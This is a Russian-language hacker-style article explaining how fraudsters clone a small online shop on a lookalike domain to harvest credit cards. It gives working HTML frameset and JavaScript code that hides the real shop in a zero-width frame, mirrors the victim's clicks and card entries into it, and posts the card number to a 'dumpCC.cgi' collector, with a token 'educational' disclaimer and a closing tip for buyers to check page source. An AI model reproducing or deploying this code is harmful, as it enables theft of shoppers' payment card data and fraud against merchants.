НАСАДКА НА ОНЛАЙН-МАГАЗИН - технология перехвата кред 


Кредитки – это именно то, за чем чаще всего охотятся большинство сетевых мошенников. Сейчас в Инете работает целая отрасль по добыванию рабочих номеров кредитных карт. Самый очевидный способ – это взлом онлайн-магазина или сервера банка с последующим уводом базы данных кредиток. Но это грубо и сложно, а я сейчас расскажу о менее очевидном и более простом способе, который применяют добытчики кред ;).

Никакого взлома тут не будет – чистое мошенничество :). И главное – все до опупения просто. Если сформулировать все коротко, то суть в том, что мошенники выбирают какой-нибудь онлайн-магазин, сдирают полностью его дизигн и структуру, регистрируют похожий домен, вывешивают все это на хосте и по возможности раскручивают. Дальше юзеры заходят на этот магазин, выбирают себе какой-нибудь хлам, заполняют форму с инфой о себе и о кредитке и ждут, пока им доставят товар. В это время поддельный магазин пересылает всю эту инфу реальному, не забыв оставить у себя копию. Получается, что реальный магазин получает заказ, снимает деньги с креды и отправляет товар; юзверь получает товар, при этом с его креды честно снимаются соответствующие баблосы. А поддельный онлайн-магазин имеет полную инфу о кредитке юзера. Все довольны – все получили то, что хотели ;). Это называется насадкой на онлайн-магазин.

На словах все звучит очень просто, а на деле, как всегда, возникают всякие мелкие (и не очень) трудности – как в технологическом плане, так и в организационном. Сейчас попытаемся разобраться ;).

ОНЛАЙН-МАГАЗИНЫ: FAKE И REAL

Первый же вопрос – как сетевые мошенники выбирают магазин для насадки? На крупные магазины-монстры насаживаться бесполезно – их все знают, там четко отлаженная система верификации, дорогенные движки и прочая крутатень. Обычно для насадки выбирают небольшой магазин с не очень сложной структурой (чтоб самим, разбираясь, не встрять :)). В принятой в этой среде терминологии, такой магазин называют – "Real". То, что получается после его переработки и что в дальнейшем выкладывается на хост, называют – "Fake". Что и как перерабатывают, рассмотрим ниже, так как сначала надо разобраться, как все это работает.

НАСАДОЧНАЯ ТЕОРИЯ

Следующим как раз встает вопрос: как собственно fake-магазин будет переправлять заказы real-магазину? Современные web-технологии предоставляют разработчику огромное количество способов это осуществить :). Но для начала давай разберемся, как вообще работает простейший онлайн-магазин. Последовательность принципиально важных действий такая:

1. Юзер заходит на сайт.

2. Юзер заходит в каталог.

3. Юзер выбирает покупку.

4. Покупка кладется в корзину.

5. Юзер заполняет форму, забив инфу о кредитке и о себе, и отправляет ее.

А теперь смотри: в принципе, чтобы сделка состоялась, достаточно отправить real-магазину только самую последнюю форму. В ней обычно содержится, как уже говорилось, инфа о креде, о юзере и о товарах, которые он выбрал (скрытыми полями, заполняется автоматически из корзины). Соответственно, элементарный скрипт на fake-магазине может класть всю эту инфу куда-нибудь себе, а ее копию постить скрипту real-магазина. Но это не очень хорошо, так как все заказы вроде как будут приходить с одного IP (где хостится fake-магаз), а это может неслабо напрячь админов real-магазина. Поэтому способ, когда делается копия онлайн-магазина путем простого сдирания его дизигна, каталога товаров, а заказ в самом конце постится скриптом, не катит.

Есть другой способ, имхо, более хитрый. Опять же делается fake-магазин с таким же дизигном как у real, опять же крадется весь каталог и выкладывается на хост с доменом с похожим названием. Только теперь в окно браузера загружаются странички сразу обоих магазинов: и real и fake, при этом real-магазин находится во фрейме с размером 0, и его не видно, а fake-магазин занимает все оставшееся место, то есть все окно. При этом все действия, которые юзер производит в видимой ему части (на страничках fake-магазина), при помощи явовских скриптов дублируются в невидимом для него нулевом фрейме (на страничках real-магазина). Выглядит все это так: юзер случайно находит онлайн-магазин (естественно, не подозревая, что это fake’овый, насадочный магаз), шастает по его каталогу, выбирает себе барахло и отправляет форму с инфой. На протяжении всего этого времени у него в нулевом фрейме тусуются соответсвующие странички реального магазина, о котором он и не подозревает. Когда он заходит на основную страничку фейкового магазина, ему автоматически в невидимую область загружается основная страничка реального магазина. Когда он в фейковом магазине кликает ссылочку "Каталог" и попадает в раздел каталога, точно также, но автоматически, нажимается ссылка "Каталог" и загружается страница каталога в невидимой области. По сути получается, что у админов реального магазина складывается картина, как будто юзер ходил по их сайту, лазил в их каталог, заполнял и постил их форму. Как такая хитрая штука кодится – разберемся ниже.

КОДИНГ НАСАДКИ

Давай в чисто образовательных целях создадим небольшую модель насадки на онлайн-магазин :). Для начала надо создать главную страничку фейкового сайта, состоящую из двух фреймов – в одном будет реальный магаз, в другом фейковый. Для этого пишем такую index.html:

------ index.html ------

<html><head><title>::: Лучший онлайн-магазин :::</title></head>

<frameset cols="50%,50%">

<frame src=real.html name=real>

<frame src=fake.html name=fake>

</frameset>

------ index.html ------

Пока что - для наглядности – не будем загонять левый фрейм в ноль, пускай оба фрейма занимают по 50% от всего окна браузера, так нам будет понятнее, что происходит. Потом я покажу, как фрейм загоняют в ноль.

Теперь давай посмотрим, какие действия юзера с фейковой паги надо эмулировать на реальной. Первое – это клик на ссылку. Надо чтоб при клике на ссылку в правом фрейме и при переходе в раздел, скажем, "Каталог", реальный магазин в левом фрейме тоже переходил в раздел "Каталог". Создадим два хтмл-файла:

------ fake.html ------

<html><head><title>::: Лучший онлайн-магазин :::</title>

<script language=JavaScript>

function doGo()

{

parent.window.real.location.href="link2.html"

}

</script></head>

<body>

Поддельный онлайн-магазин

<a href=link1.html OnClick="doGo();">[Каталог товаров]</a>

</body></html>

------ fake.html ------

------ real.html ------

<html><head><title>::: Лучший онлайн-магазин :::</title></head>

<body>

Реальный онлайн-магазин<br>

<a href=link2.html>[Каталог товаров]</a>

</body></html>

------ real.html ------

Качай все это на сервак и пробуй. При нажатии на ссылку "Каталог товаров" в правом фрейме и загрузке в нем файла link1.html, в левом фрейме должен загружаться файл link2.html. Ощутил силу :)? Поехали дальше.

Следующее геморройное действие юзера, которое надо дублировать – это заполнение форм. Дополняй файлы fake.html и real.html следующим образом:

------ fake.html ------

<html><head><title>::: Лучший онлайн-магазин :::</title>

<script language=JavaScript>

function doSubmit()

{

parent.real.document.real_form.submit()

}

function doChange()

{

parent.real.document.real_form.CC_num.value=parent.fake.document.fake_form.text1.value

}

function doGo()

{

parent.window.real.location.href="link2.html"

}

</script></head>

<body>

Поддельный онлайн-магазин

<form method=post action=/cgi-bin/dumpCC.cgi name=fake_form>

<input type=text name=text1 onChange="doChange();">

<input type=submit value=" ok " onClick="doSubmit();">

</form>

<br>

<a href=link1.html OnClick="doGo();">[Каталог продуктов]</a>

</body></html>

------ fake.html ------

------ real.html ------

<html><head><title>::: Лучший онлайн-магазин :::</title>

</head>

<body>

Реальный онлайн-магазин<br>

<form method=post action="/cgi-bin/orderSend.cgi" name=real_form>

<input type=text name=CC_num>

<input type=submit value=" ok ">

</form>

</body></html>

------ real.html ------

И еще надо создать две cgi’шки – это в тестовых целях, чтоб мы видели, что вся инфа из форм постится правильно. Создавай файлы с одинаковым содержанием dumpCC.cgi и orderSend.cgi и швыряй их в папку cgi-bin.

------ dumpCC.cgi/orderSend.cgi ------

#!/usr/bin/perl

print "Content-type:text/html\n\n";

print <STDIN>;

------ dumpCC.cgi/orderSend.cgi ------

Теперь заливай, и проверяем. При изменении текстового поля в правом фрейме, текстовое поле в левом фрейме тоже меняется! Но это еще не все: при нажатии кнопаря "Ok" и отправке формы из правого фрейма, форма в левом фрейме тоже отправляется! Получается, что юзер заполняет форму в видимом фрейме – при этом точно так же заполняется форма в невидимом фрейме – и отправляет ее, одновременно отправляя форму из невидимого фрейма.

Кстати, по поводу невидимости: перепиши index.html следующим образом, и левый фрейм уберется у тебя за край экрана – станет невидимым.

------ index.html ------

<html><head><title>::: Лучший онлайн-магазин :::</title></head>

<frameset cols="0,*" frameborder=0>

<frame src=real.html name=real noresize>

<frame src=fake.html name=fake>

</frameset>

------ index.html ------

НА КОНЕЦ

Как видишь, все очень просто, даже если учесть, что при настоящей насадке на магазин гимора в сто раз больше. Главное технология – остальное дело техники ;). Удачного тебе самообразования и если будешь что-нибудь покупать в онлайне, загляни в исходник паги – не насаженный ли это магаз.

 

 

содержание

Хостинг от uCoz